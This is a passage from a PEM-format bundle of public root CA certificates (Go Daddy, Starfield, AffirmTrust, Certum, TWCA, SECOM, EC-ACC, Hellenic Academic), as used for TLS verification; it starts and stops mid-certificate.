MIIDxTCCAq2gAwIBAgIBADANBgkqhkiG9w0BAQsFADCBgzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxGjAYBgNVBAoTEUdvRGFkZHkuY29tLCBJbmMu MTEwLwYDVQQDEyhHbyBEYWRkeSBSb290IENlcnRpZmljYXRlIEF1dGhvcml0eSAtIEcyMB4XDTA5 MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgYMxCzAJBgNVBAYTAlVTMRAwDgYDVQQIEwdBcml6 b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMRowGAYDVQQKExFHb0RhZGR5LmNvbSwgSW5jLjExMC8G A1UEAxMoR28gRGFkZHkgUm9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZI hvcNAQEBBQADggEPADCCAQoCggEBAL9xYgjx+lk09xvJGKP3gElY6SKDE6bFIEMBO4Tx5oVJnyfq 9oQbTqC023CYxzIBsQU+B07u9PpPL1kwIuerGVZr4oAH/PMWdYA5UXvl+TW2dE6pjYIT5LY/qQOD +qK+ihVqf94Lw7YZFAXK6sOoBJQ7RnwyDfMAZiLIjWltNowRGLfTshxgtDj6AozO091GB94KPutd fMh8+7ArU6SSYmlRJQVhGkSBjCypQ5Yj36w6gZoOKcUcqeldHraenjAKOc7xiID7S13MMuyFYkMl NAJWJwGRtDtwKj9useiciAF9n9T521NtYJ2/LOdYq7hfRvzOxBsDPAnrSTFcaUaz4EcCAwEAAaNC MEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFDqahQcQZyi27/a9 BUFuIMGU2g/eMA0GCSqGSIb3DQEBCwUAA4IBAQCZ21151fmXWWcDYfF+OwYxdS2hII5PZYe096ac vNjpL9DbWu7PdIxztDhC2gV7+AJ1uP2lsdeu9tfeE8tTEH6KRtGX+rcuKxGrkLAngPnon1rpN5+r 5N9ss4UXnT3ZJE95kTXWXwTrgIOrmgIttRD02JDHBHNA7XIloKmf7J6raBKZV8aPEjoJpL1E/QYV N8Gb5DKj7Tjo2GTzLH4U/ALqn83/B2gX2yKQOC16jdFU8WnjXzPKej17CuPKf1855eJ1usV2GDPO LPAvTK33sefOT6jEm0pUBsV/fdUID+Ic/n4XuKxe9tQWskMJDE32p2u0mYRlynqI4uJEvlz36hz1 -----END CERTIFICATE----- Starfield Root Certificate Authority - G2 ========================================= -----BEGIN CERTIFICATE----- MIID3TCCAsWgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBjzELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xMjAwBgNVBAMTKVN0YXJmaWVsZCBSb290IENlcnRpZmljYXRlIEF1dGhvcml0 eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgY8xCzAJBgNVBAYTAlVTMRAw DgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxTdGFyZmllbGQg VGVjaG5vbG9naWVzLCBJbmMuMTIwMAYDVQQDEylTdGFyZmllbGQgUm9vdCBDZXJ0aWZpY2F0ZSBB dXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL3twQP89o/8ArFv W59I2Z154qK3A2FWGMNHttfKPTUuiUP3oWmb3ooa/RMgnLRJdzIpVv257IzdIvpy3Cdhl+72WoTs bhm5iSzchFvVdPtrX8WJpRBSiUZV9Lh1HOZ/5FSuS/hVclcCGfgXcVnrHigHdMWdSL5stPSksPNk N3mSwOxGXn/hbVNMYq/NHwtjuzqd+/x5AJhhdM8mgkBj87JyahkNmcrUDnXMN/uLicFZ8WJ/X7Nf ZTD4p7dNdloedl40wOiWVpmKs/B/pM293DIxfJHP4F8R+GuqSVzRmZTRouNjWwl2tVZi4Ut0HZbU JtQIBFnQmA4O5t78w+wfkPECAwEAAaNCMEAwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwHQYDVR0OBBYEFHwMMh+n2TB/xH1oo2Kooc6rB1snMA0GCSqGSIb3DQEBCwUAA4IBAQARWfol TwNvlJk7mh+ChTnUdgWUXuEok21iXQnCoKjUsHU48TRqneSfioYmUeYs0cYtbpUgSpIB7LiKZ3sx 4mcujJUDJi5DnUox9g61DLu34jd/IroAow57UvtruzvE03lRTs2Q9GcHGcg8RnoNAX3FWOdt5oUw F5okxBDgBPfg8n/Uqgr/Qh037ZTlZFkSIHc40zI+OIF1lnP6aI+xy84fxez6nH7PfrHxBy22/L/K pL/QlwVKvOoYKAKQvVR4CSFx09F9HdkWsKlhPdAKACL8x3vLCWRFCztAgfd9fDL1mMpYjn0q7pBZ c2T5NnReJaH1ZgUufzkVqSr7UIuOhWn0 -----END CERTIFICATE----- Starfield Services Root Certificate Authority - G2 ================================================== -----BEGIN CERTIFICATE----- MIID7zCCAtegAwIBAgIBADANBgkqhkiG9w0BAQsFADCBmDELMAkGA1UEBhMCVVMxEDAOBgNVBAgT B0FyaXpvbmExEzARBgNVBAcTClNjb3R0c2RhbGUxJTAjBgNVBAoTHFN0YXJmaWVsZCBUZWNobm9s b2dpZXMsIEluYy4xOzA5BgNVBAMTMlN0YXJmaWVsZCBTZXJ2aWNlcyBSb290IENlcnRpZmljYXRl IEF1dGhvcml0eSAtIEcyMB4XDTA5MDkwMTAwMDAwMFoXDTM3MTIzMTIzNTk1OVowgZgxCzAJBgNV BAYTAlVTMRAwDgYDVQQIEwdBcml6b25hMRMwEQYDVQQHEwpTY290dHNkYWxlMSUwIwYDVQQKExxT dGFyZmllbGQgVGVjaG5vbG9naWVzLCBJbmMuMTswOQYDVQQDEzJTdGFyZmllbGQgU2VydmljZXMg Um9vdCBDZXJ0aWZpY2F0ZSBBdXRob3JpdHkgLSBHMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCC AQoCggEBANUMOsQq+U7i9b4Zl1+OiFOxHz/Lz58gE20pOsgPfTz3a3Y4Y9k2YKibXlwAgLIvWX/2 h/klQ4bnaRtSmpDhcePYLQ1Ob/bISdm28xpWriu2dBTrz/sm4xq6HZYuajtYlIlHVv8loJNwU4Pa hHQUw2eeBGg6345AWh1KTs9DkTvnVtYAcMtS7nt9rjrnvDH5RfbCYM8TWQIrgMw0R9+53pBlbQLP LJGmpufehRhJfGZOozptqbXuNC66DQO4M99H67FrjSXZm86B0UVGMpZwh94CDklDhbZsc7tk6mFB rMnUVN+HL8cisibMn1lUaJ/8viovxFUcdUBgF4UCVTmLfwUCAwEAAaNCMEAwDwYDVR0TAQH/BAUw AwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFJxfAN+qAdcwKziIorhtSpzyEZGDMA0GCSqG SIb3DQEBCwUAA4IBAQBLNqaEd2ndOxmfZyMIbw5hyf2E3F/YNoHN2BtBLZ9g3ccaaNnRbobhiCPP E95Dz+I0swSdHynVv/heyNXBve6SbzJ08pGCL72CQnqtKrcgfU28elUSwhXqvfdqlS5sdJ/PHLTy xQGjhdByPq1zqwubdQxtRbeOlKyWN7Wg0I8VRw7j6IPdj/3vQQF3zCepYoUz8jcI73HPdwbeyBkd iEDPfUYd/x7H4c7/I9vG+o1VTqkC50cRRj70/b17KSa7qWFiNyi2LSr2EIZkyXCn0q23KXB56jza YyWf/Wi3MOxw+3WKt21gZ7IeyLnp2KhvAotnDU0mV3HaIPzBSlCNsSi6 -----END CERTIFICATE----- AffirmTrust Commercial ====================== -----BEGIN CERTIFICATE----- MIIDTDCCAjSgAwIBAgIId3cGJyapsXwwDQYJKoZIhvcNAQELBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMB4XDTEw MDEyOTE0MDYwNloXDTMwMTIzMTE0MDYwNlowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBDb21tZXJjaWFsMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEA9htPZwcroRX1BiLLHwGy43NFBkRJLLtJJRTWzsO3qyxPxkEylFf6Eqdb DuKPHx6GGaeqtS25Xw2Kwq+FNXkyLbscYjfysVtKPcrNcV/pQr6U6Mje+SJIZMblq8Yrba0F8PrV C8+a5fBQpIs7R6UjW3p6+DM/uO+Zl+MgwdYoic+U+7lF7eNAFxHUdPALMeIrJmqbTFeurCA+ukV6 BfO9m2kVrn1OIGPENXY6BwLJN/3HR+7o8XYdcxXyl6S1yHp52UKqK39c/s4mT6NmgTWvRLpUHhww MmWd5jyTXlBOeuM61G7MGvv50jeuJCqrVwMiKA1JdX+3KNp1v47j3A55MQIDAQABo0IwQDAdBgNV HQ4EFgQUnZPGU4teyq8/nx4P5ZmVvCT2lI8wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQELBQADggEBAFis9AQOzcAN/wr91LoWXym9e2iZWEnStB03TX8nfUYGXUPG hi4+c7ImfU+TqbbEKpqrIZcUsd6M06uJFdhrJNTxFq7YpFzUf1GO7RgBsZNjvbz4YYCanrHOQnDi qX0GJX0nof5v7LMeJNrjS1UaADs1tDvZ110w/YETifLCBivtZ8SOyUOyXGsViQK8YvxO8rUzqrJv 0wqiUOP2O+guRMLbZjipM1ZI8W0bM40NjD9gN53Tym1+NH4Nn3J2ixufcv1SNUFFApYvHLKac0kh sUlHRUe072o0EclNmsxZt9YCnlpOZbWUrhvfKbAW8b8Angc6F2S1BLUjIZkKlTuXfO8= -----END CERTIFICATE----- AffirmTrust Networking ====================== -----BEGIN CERTIFICATE----- MIIDTDCCAjSgAwIBAgIIfE8EORzUmS0wDQYJKoZIhvcNAQEFBQAwRDELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMB4XDTEw MDEyOTE0MDgyNFoXDTMwMTIzMTE0MDgyNFowRDELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmly bVRydXN0MR8wHQYDVQQDDBZBZmZpcm1UcnVzdCBOZXR3b3JraW5nMIIBIjANBgkqhkiG9w0BAQEF AAOCAQ8AMIIBCgKCAQEAtITMMxcua5Rsa2FSoOujz3mUTOWUgJnLVWREZY9nZOIG41w3SfYvm4SE Hi3yYJ0wTsyEheIszx6e/jarM3c1RNg1lho9Nuh6DtjVR6FqaYvZ/Ls6rnla1fTWcbuakCNrmreI dIcMHl+5ni36q1Mr3Lt2PpNMCAiMHqIjHNRqrSK6mQEubWXLviRmVSRLQESxG9fhwoXA3hA/Pe24 /PHxI1Pcv2WXb9n5QHGNfb2V1M6+oF4nI979ptAmDgAp6zxG8D1gvz9Q0twmQVGeFDdCBKNwV6gb h+0t+nvujArjqWaJGctB+d1ENmHP4ndGyH329JKBNv3bNPFyfvMMFr20FQIDAQABo0IwQDAdBgNV HQ4EFgQUBx/S55zawm6iQLSwelAQUHTEyL0wDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC AQYwDQYJKoZIhvcNAQEFBQADggEBAIlXshZ6qML91tmbmzTCnLQyFE2npN/svqe++EPbkTfOtDIu UFUaNU52Q3Eg75N3ThVwLofDwR1t3Mu1J9QsVtFSUzpE0nPIxBsFZVpikpzuQY0x2+c06lkh1QF6 12S4ZDnNye2v7UsDSKegmQGA3GWjNq5lWUhPgkvIZfFXHeVZLgo/bNjR9eUJtGxUAArgFU2HdW23 WJZa3W3SAKD0m0i+wzekujbgfIeFlxoVot4uolu9rxj5kFDNcFn4J2dHy8egBzp90SxdbBk6ZrV9 /ZFvgrG+CJPbFEfxojfHRZ48x3evZKiT3/Zpg4Jg8klCNO1aAFSFHBY2kgxc+qatv9s= -----END CERTIFICATE----- AffirmTrust Premium =================== -----BEGIN CERTIFICATE----- MIIFRjCCAy6gAwIBAgIIbYwURrGmCu4wDQYJKoZIhvcNAQEMBQAwQTELMAkGA1UEBhMCVVMxFDAS BgNVBAoMC0FmZmlybVRydXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMB4XDTEwMDEy OTE0MTAzNloXDTQwMTIzMTE0MTAzNlowQTELMAkGA1UEBhMCVVMxFDASBgNVBAoMC0FmZmlybVRy dXN0MRwwGgYDVQQDDBNBZmZpcm1UcnVzdCBQcmVtaXVtMIICIjANBgkqhkiG9w0BAQEFAAOCAg8A MIICCgKCAgEAxBLfqV/+Qd3d9Z+K4/as4Tx4mrzY8H96oDMq3I0gW64tb+eT2TZwamjPjlGjhVtn BKAQJG9dKILBl1fYSCkTtuG+kU3fhQxTGJoeJKJPj/CihQvL9Cl/0qRY7iZNyaqoe5rZ+jjeRFcV 5fiMyNlI4g0WJx0eyIOFJbe6qlVBzAMiSy2RjYvmia9mx+n/K+k8rNrSs8PhaJyJ+HoAVt70VZVs +7pk3WKL3wt3MutizCaam7uqYoNMtAZ6MMgpv+0GTZe5HMQxK9VfvFMSF5yZVylmd2EhMQcuJUmd GPLu8ytxjLW6OQdJd/zvLpKQBY0tL3d770O/Nbua2Plzpyzy0FfuKE4mX4+QaAkvuPjcBukumj5R p9EixAqnOEhss/n/fauGV+O61oV4d7pD6kh/9ti+I20ev9E2bFhc8e6kGVQa9QPSdubhjL08s9NI S+LI+H+SqHZGnEJlPqQewQcDWkYtuJfzt9WyVSHvutxMAJf7FJUnM7/oQ0dG0giZFmA7mn7S5u04 6uwBHjxIVkkJx0w3AJ6IDsBz4W9m6XJHMD4Q5QsDyZpCAGzFlH5hxIrff4IaC1nEWTJ3s7xgaVY5 /bQGeyzWZDbZvUjthB9+pSKPKrhC9IK31FOQeE4tGv2Bb0TXOwF0lkLgAOIua+rF7nKsu7/+6qqo +Nz2snmKtmcCAwEAAaNCMEAwHQYDVR0OBBYEFJ3AZ6YMItkm9UWrpmVSESfYRaxjMA8GA1UdEwEB /wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMA0GCSqGSIb3DQEBDAUAA4ICAQCzV00QYk465KzquByv MiPIs0laUZx2KI15qldGF9X1Uva3ROgIRL8YhNILgM3FEv0AVQVhh0HctSSePMTYyPtwni94loMg Nt58D2kTiKV1NpgIpsbfrM7jWNa3Pt668+s0QNiigfV4Py/VpfzZotReBA4Xrf5B8OWycvpEgjNC 6C1Y91aMYj+6QrCcDFx+LmUmXFNPALJ4fqENmS2NuB2OosSw/WDQMKSOyARiqcTtNd56l+0OOF6S L5Nwpamcb6d9Ex1+xghIsV5n61EIJenmJWtSKZGc0jlzCFfemQa0W50QBuHCAKi4HEoCChTQwUHK +4w1IX2COPKpVJEZNZOUbWo6xbLQu4mGk+ibyQ86p3q4ofB4Rvr8Ny/lioTz3/4E2aFooC8k4gmV BtWVyuEklut89pMFu+1z6S3RdTnX5yTb2E5fQ4+e0BQ5v1VwSJlXMbSc7kqYA5YwH2AG7hsj/oFg IxpHYoWlzBk0gG+zrBrjn/B7SK3VAdlntqlyk+otZrWyuOQ9PLLvTIzq6we/qzWaVYa8GKa1qF60 g2xraUDTn9zxw2lrueFtCfTxqlB2Cnp9ehehVZZCmTEJ3WARjQUwfuaORtGdFNrHF+QFlozEJLUb zxQHskD4o55BhrwE0GuWyCqANP2/7waj3VjFhT0+j/6eKeC2uAloGRwYQw== -----END CERTIFICATE----- AffirmTrust Premium ECC ======================= -----BEGIN CERTIFICATE----- MIIB/jCCAYWgAwIBAgIIdJclisc/elQwCgYIKoZIzj0EAwMwRTELMAkGA1UEBhMCVVMxFDASBgNV BAoMC0FmZmlybVRydXN0MSAwHgYDVQQDDBdBZmZpcm1UcnVzdCBQcmVtaXVtIEVDQzAeFw0xMDAx MjkxNDIwMjRaFw00MDEyMzExNDIwMjRaMEUxCzAJBgNVBAYTAlVTMRQwEgYDVQQKDAtBZmZpcm1U cnVzdDEgMB4GA1UEAwwXQWZmaXJtVHJ1c3QgUHJlbWl1bSBFQ0MwdjAQBgcqhkjOPQIBBgUrgQQA IgNiAAQNMF4bFZ0D0KF5Nbc6PJJ6yhUczWLznCZcBz3lVPqj1swS6vQUX+iOGasvLkjmrBhDeKzQ N8O9ss0s5kfiGuZjuD0uL3jET9v0D6RoTFVya5UdThhClXjMNzyR4ptlKymjQjBAMB0GA1UdDgQW BBSaryl6wBE1NSZRMADDav5A1a7WPDAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB/wQEAwIBBjAK BggqhkjOPQQDAwNnADBkAjAXCfOHiFBar8jAQr9HX/VsaobgxCd05DhT1wV/GzTjxi+zygk8N53X 57hG8f2h4nECMEJZh0PUUd+60wkyWs6Iflc9nF9Ca/UHLbXwgpP5WW+uZPpY5Yse42O+tYHNbwKM eQ== -----END CERTIFICATE----- Certum Trusted Network CA ========================= -----BEGIN CERTIFICATE----- MIIDuzCCAqOgAwIBAgIDBETAMA0GCSqGSIb3DQEBBQUAMH4xCzAJBgNVBAYTAlBMMSIwIAYDVQQK ExlVbml6ZXRvIFRlY2hub2xvZ2llcyBTLkEuMScwJQYDVQQLEx5DZXJ0dW0gQ2VydGlmaWNhdGlv biBBdXRob3JpdHkxIjAgBgNVBAMTGUNlcnR1bSBUcnVzdGVkIE5ldHdvcmsgQ0EwHhcNMDgxMDIy MTIwNzM3WhcNMjkxMjMxMTIwNzM3WjB+MQswCQYDVQQGEwJQTDEiMCAGA1UEChMZVW5pemV0byBU ZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENlcnRpZmljYXRpb24gQXV0aG9yaXR5 MSIwIAYDVQQDExlDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENBMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEA4/t9o3K6wvDJFIf1awFO4W5AB7ptJ11/91sts1rHUV+rpDKmYYe2bg+G0jAC l/jXaVehGDldamR5xgFZrDwxSjh80gTSSyjoIF87B6LMTXPb865Px1bVWqeWifrzq2jUI4ZZJ88J J7ysbnKDHDBy3+Ci6dLhdHUZvSqeexVUBBvXQzmtVSjF4hq79MDkrjhJM8x2hZ85RdKknvISjFH4 fOQtf/WsX+sWn7Et0brMkUJ3TCXJkDhv2/DM+44el1k+1WBO5gUo7Ul5E0u6SNsv+XLTOcr+H9g0 cvW0QM8xAcPs3hEtF10fuFDRXhmnad4HMyjKUJX5p1TLVIZQRan5SQIDAQABo0IwQDAPBgNVHRMB Af8EBTADAQH/MB0GA1UdDgQWBBQIds3LB/8k9sXN7buQvOKEN0Z19zAOBgNVHQ8BAf8EBAMCAQYw DQYJKoZIhvcNAQEFBQADggEBAKaorSLOAT2mo/9i0Eidi15ysHhE49wcrwn9I0j6vSrEuVUEtRCj jSfeC4Jj0O7eDDd5QVsisrCaQVymcODU0HfLI9MA4GxWL+FpDQ3Zqr8hgVDZBqWo/5U30Kr+4rP1 mS1FhIrlQgnXdAIv94nYmem8J9RHjboNRhx3zxSkHLmkMcScKHQDNP8zGSal6Q10tz6XxnboJ5aj Zt3hrvJBW8qYVoNzcOSGGtIxQbovvi0TWnZvTuhOgQ4/WwMioBK+ZlgRSssDxLQqKi2WF+A5VLxI 03YnnZotBqbJ7DnSq9ufmgsnAjUpsUCV5/nonFWIGUbWtzT1fs45mtk48VH3Tyw= -----END CERTIFICATE----- TWCA Root Certification Authority ================================= -----BEGIN CERTIFICATE----- MIIDezCCAmOgAwIBAgIBATANBgkqhkiG9w0BAQUFADBfMQswCQYDVQQGEwJUVzESMBAGA1UECgwJ VEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NBIFJvb3QgQ2VydGlmaWNh dGlvbiBBdXRob3JpdHkwHhcNMDgwODI4MDcyNDMzWhcNMzAxMjMxMTU1OTU5WjBfMQswCQYDVQQG EwJUVzESMBAGA1UECgwJVEFJV0FOLUNBMRAwDgYDVQQLDAdSb290IENBMSowKAYDVQQDDCFUV0NB IFJvb3QgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK AoIBAQCwfnK4pAOU5qfeCTiRShFAh6d8WWQUe7UREN3+v9XAu1bihSX0NXIP+FPQQeFEAcK0HMMx QhZHhTMidrIKbw/lJVBPhYa+v5guEGcevhEFhgWQxFnQfHgQsIBct+HHK3XLfJ+utdGdIzdjp9xC oi2SBBtQwXu4PhvJVgSLL1KbralW6cH/ralYhzC2gfeXRfwZVzsrb+RH9JlF/h3x+JejiB03HFyP 4HYlmlD4oFT/RJB2I9IyxsOrBr/8+7/zrX2SYgJbKdM1o5OaQ2RgXbL6Mv87BK9NQGr5x+PvI/1r y+UPizgN7gr8/g+YnzAx3WxSZfmLgb4i4RxYA7qRG4kHAgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIB BjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqOFsmjd6LWvJPelSDGRjjCDWmujANBgkqhkiG 9w0BAQUFAAOCAQEAPNV3PdrfibqHDAhUaiBQkr6wQT25JmSDCi/oQMCXKCeCMErJk/9q56YAf4lC mtYR5VPOL8zy2gXE/uJQxDqGfczafhAJO5I1KlOy/usrBdlsXebQ79NqZp4VKIV66IIArB6nCWlW QtNoURi+VJq/REG6Sb4gumlc7rh3zc5sH62Dlhh9DrUUOYTxKOkto557HnpyWoOzeW/vtPzQCqVY T0bf+215WfKEIlKuD8z7fDvnaspHYcN6+NOSBB+4IIThNlQWx0DeO4pz3N/GCUzf7Nr/1FNCocny Yh0igzyXxfkZYiesZSLX0zzG5Y6yU8xJzrww/nsOM5D77dIUkR8Hrw== -----END CERTIFICATE----- Security Communication RootCA2 ============================== -----BEGIN CERTIFICATE----- MIIDdzCCAl+gAwIBAgIBADANBgkqhkiG9w0BAQsFADBdMQswCQYDVQQGEwJKUDElMCMGA1UEChMc U0VDT00gVHJ1c3QgU3lzdGVtcyBDTy4sTFRELjEnMCUGA1UECxMeU2VjdXJpdHkgQ29tbXVuaWNh dGlvbiBSb290Q0EyMB4XDTA5MDUyOTA1MDAzOVoXDTI5MDUyOTA1MDAzOVowXTELMAkGA1UEBhMC SlAxJTAjBgNVBAoTHFNFQ09NIFRydXN0IFN5c3RlbXMgQ08uLExURC4xJzAlBgNVBAsTHlNlY3Vy aXR5IENvbW11bmljYXRpb24gUm9vdENBMjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB ANAVOVKxUrO6xVmCxF1SrjpDZYBLx/KWvNs2l9amZIyoXvDjChz335c9S672XewhtUGrzbl+dp++ +T42NKA7wfYxEUV0kz1XgMX5iZnK5atq1LXaQZAQwdbWQonCv/Q4EpVMVAX3NuRFg3sUZdbcDE3R 3n4MqzvEFb46VqZab3ZpUql6ucjrappdUtAtCms1FgkQhNBqyjoGADdH5H5XTz+L62e4iKrFvlNV spHEfbmwhRkGeC7bYRr6hfVKkaHnFtWOojnflLhwHyg/i/xAXmODPIMqGplrz95Zajv8bxbXH/1K EOtOghY6rCcMU/Gt1SSwawNQwS08Ft1ENCcadfsCAwEAAaNCMEAwHQYDVR0OBBYEFAqFqXdlBZh8 QIH4D5csOPEK7DzPMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEB CwUAA4IBAQBMOqNErLlFsceTfsgLCkLfZOoc7llsCLqJX2rKSpWeeo8HxdpFcoJxDjrSzG+ntKEj u/Ykn8sX/oymzsLS28yN/HH8AynBbF0zX2S2ZTuJbxh2ePXcokgfGT+Ok+vx+hfuzU7jBBJV1uXk 3fs+BXziHV7Gp7yXT2g69ekuCkO2r1dcYmh8t/2jioSgrGK+KwmHNPBqAbubKVY8/gA3zyNs8U6q tnRGEmyR7jTV7JqR50S+kDFy1UkC9gLl9B/rfNmWVan/7Ir5mUf/NVoCqgTLiluHcSmRvaS0eg29 mvVXIwAHIRc/SjnRBUkLp7Y3gaVdjKozXoEofKd9J+sAro03 -----END CERTIFICATE----- EC-ACC ====== -----BEGIN CERTIFICATE----- MIIFVjCCBD6gAwIBAgIQ7is969Qh3hSoYqwE893EATANBgkqhkiG9w0BAQUFADCB8zELMAkGA1UE BhMCRVMxOzA5BgNVBAoTMkFnZW5jaWEgQ2F0YWxhbmEgZGUgQ2VydGlmaWNhY2lvIChOSUYgUS0w ODAxMTc2LUkpMSgwJgYDVQQLEx9TZXJ2ZWlzIFB1YmxpY3MgZGUgQ2VydGlmaWNhY2lvMTUwMwYD VQQLEyxWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5ldC92ZXJhcnJlbCAoYykwMzE1MDMGA1UE CxMsSmVyYXJxdWlhIEVudGl0YXRzIGRlIENlcnRpZmljYWNpbyBDYXRhbGFuZXMxDzANBgNVBAMT BkVDLUFDQzAeFw0wMzAxMDcyMzAwMDBaFw0zMTAxMDcyMjU5NTlaMIHzMQswCQYDVQQGEwJFUzE7 MDkGA1UEChMyQWdlbmNpYSBDYXRhbGFuYSBkZSBDZXJ0aWZpY2FjaW8gKE5JRiBRLTA4MDExNzYt SSkxKDAmBgNVBAsTH1NlcnZlaXMgUHVibGljcyBkZSBDZXJ0aWZpY2FjaW8xNTAzBgNVBAsTLFZl Z2V1IGh0dHBzOi8vd3d3LmNhdGNlcnQubmV0L3ZlcmFycmVsIChjKTAzMTUwMwYDVQQLEyxKZXJh cnF1aWEgRW50aXRhdHMgZGUgQ2VydGlmaWNhY2lvIENhdGFsYW5lczEPMA0GA1UEAxMGRUMtQUND MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsyLHT+KXQpWIR4NA9h0X84NzJB5R85iK w5K4/0CQBXCHYMkAqbWUZRkiFRfCQ2xmRJoNBD45b6VLeqpjt4pEndljkYRm4CgPukLjbo73FCeT ae6RDqNfDrHrZqJyTxIThmV6PttPB/SnCWDaOkKZx7J/sxaVHMf5NLWUhdWZXqBIoH7nF2W4onW4 HvPlQn2v7fOKSGRdghST2MDk/7NQcvJ29rNdQlB50JQ+awwAvthrDk4q7D7SzIKiGGUzE3eeml0a E9jD2z3Il3rucO2n5nzbcc8tlGLfbdb1OL4/pYUKGbio2Al1QnDE6u/LDsg0qBIimAy4E5S2S+zw 0JDnJwIDAQABo4HjMIHgMB0GA1UdEQQWMBSBEmVjX2FjY0BjYXRjZXJ0Lm5ldDAPBgNVHRMBAf8E BTADAQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUoMOLRKo3pUW/l4Ba0fF4opvpXY0wfwYD VR0gBHgwdjB0BgsrBgEEAfV4AQMBCjBlMCwGCCsGAQUFBwIBFiBodHRwczovL3d3dy5jYXRjZXJ0 Lm5ldC92ZXJhcnJlbDA1BggrBgEFBQcCAjApGidWZWdldSBodHRwczovL3d3dy5jYXRjZXJ0Lm5l dC92ZXJhcnJlbCAwDQYJKoZIhvcNAQEFBQADggEBAKBIW4IB9k1IuDlVNZyAelOZ1Vr/sXE7zDkJ lF7W2u++AVtd0x7Y/X1PzaBB4DSTv8vihpw3kpBWHNzrKQXlxJ7HNd+KDM3FIUPpqojlNcAZQmNa Al6kSBg6hW/cnbw/nZzBh7h6YQjpdwt/cKt63dmXLGQehb+8dJahw3oS7AwaboMMPOhyRp/7SNVe l+axofjk70YllJyJ22k4vuxcDlbHZVHlUIiIv0LVKz3l+bqeLrPK9HOSAgu+TGbrIP65y7WZf+a2 E/rKS03Z7lNGBjvGTq2TWoF+bCpLagVFjPIhpDGQh2xlnJ2lYJU6Un/10asIbvPuW/mIPX64b24D 5EI= -----END CERTIFICATE----- Hellenic Academic and Research Institutions RootCA 2011 ======================================================= -----BEGIN CERTIFICATE----- MIIEMTCCAxmgAwIBAgIBADANBgkqhkiG9w0BAQUFADCBlTELMAkGA1UEBhMCR1IxRDBCBgNVBAoT O0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9y aXR5MUAwPgYDVQQDEzdIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IFJvb3RDQSAyMDExMB4XDTExMTIwNjEzNDk1MloXDTMxMTIwMTEzNDk1MlowgZUxCzAJBgNVBAYT AkdSMUQwQgYDVQQKEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25z IENlcnQuIEF1dGhvcml0eTFAMD4GA1UEAxM3SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNo IEluc3RpdHV0aW9ucyBSb290Q0EgMjAxMTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB AKlTAOMupvaO+mDYLZU++CwqVE7NuYRhlFhPjz2L5EPzdYmNUeTDN9KKiE15HrcS3UN4SoqS5tdI 1Q+kOilENbgH9mgdVc04UfCMJDGFr4PJfel3r+0ae50X+bOdOFAPplp5kYCvN66m0zH7tSYJnTxa 71HFK9+WXesyHgLacEnsbgzImjeN9/E2YEsmLIKe0HjzDQ9jpFEw4fkrJxIH2Oq9GGKYsFk3fb7u 8yBRQlqD75O6aRXxYp2fmTmCobd0LovUxQt7L/DICto9eQqakxylKHJzkUOap9FNhYS5qXSPFEDH 